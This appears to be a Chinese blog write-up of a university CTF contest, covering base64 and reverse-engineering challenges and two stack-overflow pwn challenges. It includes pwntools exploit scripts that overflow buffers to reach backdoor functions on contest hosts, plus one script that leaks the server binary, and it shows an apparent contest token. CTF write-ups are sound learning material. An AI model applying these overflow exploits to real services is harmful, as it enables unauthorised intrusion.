小菜鸡的高校网络安全管理运维

ezsyre

签到题目一眼就可以丁真看出来是base64,然后看字符串表,发现换了表,直接用厨子一炒就出来了

babyre

这题有点小离谱,源文件upx壳,upx-d直接脱

发现题目其实就是一个算术题目,不难,我那的z3跑,前三个都跑出来了,就最后一个校验的时候一直报错一直报错,后来上的爆破才解开的。

4个都可以爆破,在循环里面跑就行。

#include <stdio.h>
#include <stdint.h>

int main(){
	uint32_t a1;
	for (a1 = 0; a1 <= 0x100000000; a1++){
		 if ( 11 * ~(a1 ^ 0xE33B67BD)
     		+ 4 * ~(~a1 | 0xE33B67BD)
     		- (6 * (a1 & 0xE33B67BD)
      		+ 12 * ~(a1 | 0xE33B67BD))
    		+ 3 * (a1 & 0xD2C7FC0C)
    		+ -5 * a1
    		- 2 * ~(a1 | 0xD2C7FC0C)
   		 	+ ~(a1 | 0x2D3803F3)
    		 + 4 * (a1 & 0x2D3803F3)
   		  	- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC ){
			
   		  	printf("fonud a1: %d\n",a1);
   		  	return 0;
   		  }
	}
	printf("NO\n");
	return 1; 
} 

babypwn

打开程序一看,我凑这不就是一个简单的栈溢出吗,寻思着又是签到题,不过确实是签到题,是我大菜鸡不知道咋回事,搞了半天才解除来。

可以看到程序的主题就是这个,溢出buf就完事了,我当时想着,这buf咋溢出嘞。

buf这么打一个,但是只能read 0x40个字节,然后我就在想,那就是溢出s1吧,看到下面s1是复合的,然后我就算,加上他这个密码只要在溢出44个就可以拿到shell了,而且他这个还是给后门函数的

但是我当时做的时候死后打不通,后来脑子一抽吧binsh的地址换了一下就打通了,如果有哪个佬看到的话教教,是因为字节限制吗。

我才sh写的地址就是0x401176,后来一直打不通,换成了0x40117A就打通了,真的想不通为啥很莫名奇妙的

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = remote('prob07.contest.pku.edu.cn',10007)

pop_rbp = 0x000000000040115d
sys = 0x0000000000401176
ret = 0x000000000040101a

p.recvuntil('token:')
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.sendline(token)

user1 = str('root')
passw1 = str('!@#$%^&*()_+')

p.recvuntil('username:')
#pay1 = p64(0x23402100746f6f72) + b'a'*0x18 + p64(sys)
pay1 = p64(0x23402100746f6f72)
#pay1 = b'a' * 0x50 + p64(sys)
p.sendline(pay1)

p.recvuntil('password:')
#pay2  = passw1
#pay2 = passw1 + b'a'*16+ p64(sys)
#pay2 = b'!@#$%^&*()_+'
pay2 =b'!@#$%^&*()_+'+ b'a'*44 + p64(0x40117a)
p.sendline(pay2)

#p.recvuntil('!')
    

p.interactive()
login

这一题很有意思,学到东西了,他这个题目是没有程序文件的,直接nc的地址,他进去之后会让你输入user和pass就是登录界面

我当时看到人都傻了,啥都没有我那啥玩,然后后来我就一直输a,发现诶呀我凑,有溢出!还有东西

他对user进行了限制,不可以超过二十个字节,pass没有限制,然后我就输入那么多就把文件泄露出来了,我当时还还不知道这是文件嘞。

然后我就用脚本写了代码看看有什么不一样,结果得到一串很长的文件,我就想,可以不可以把这些泄露出来的文件给收起来放到一个文件里面,因为这文件一看就知道是二进制文件

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = remote('prob04.contest.pku.edu.cn',10004)
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.recvuntil('token:')
p.sendline(token)

p.recvuntil('name:')
p.sendline('admin')

p.recvuntil('word:')

pay = b'1q2w3e4r'

p.sendline(pay)

data = p.recvall(timeout=1)

# 将16进制数据解码为字节


# 保存成文件
with open('filename.bin', 'wb') as f:
    f.write(data)

运行完后得到一个二进制文件,这文件我也打不开啊,后来搜发现厨子还可以抄二进制文件

发厨子里面抄就真正的得到一份elf开头的二进制文件,保存开始分析。

主题代码,在pass的时候直接溢出就好

存在后门函数

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = remote('prob04.contest.pku.edu.cn',10004)
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.recvuntil('token:')
p.sendline(token)

p.recvuntil('name:')
p.sendline('admin')

p.recvuntil('word:')

pay = b'1q2w3e4r' + b'a'*0x90 + p64(0x40127e) 

p.sendline(pay)


 

p.interactive()

欸呀我去这题真有意思的,妙。

gateway

打开文件看到passwor字样,ascii编码,写个脚本一把嗦

最后随波逐流跑一下就出了

本周自己学习过程中遇到的问题和疑问点

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值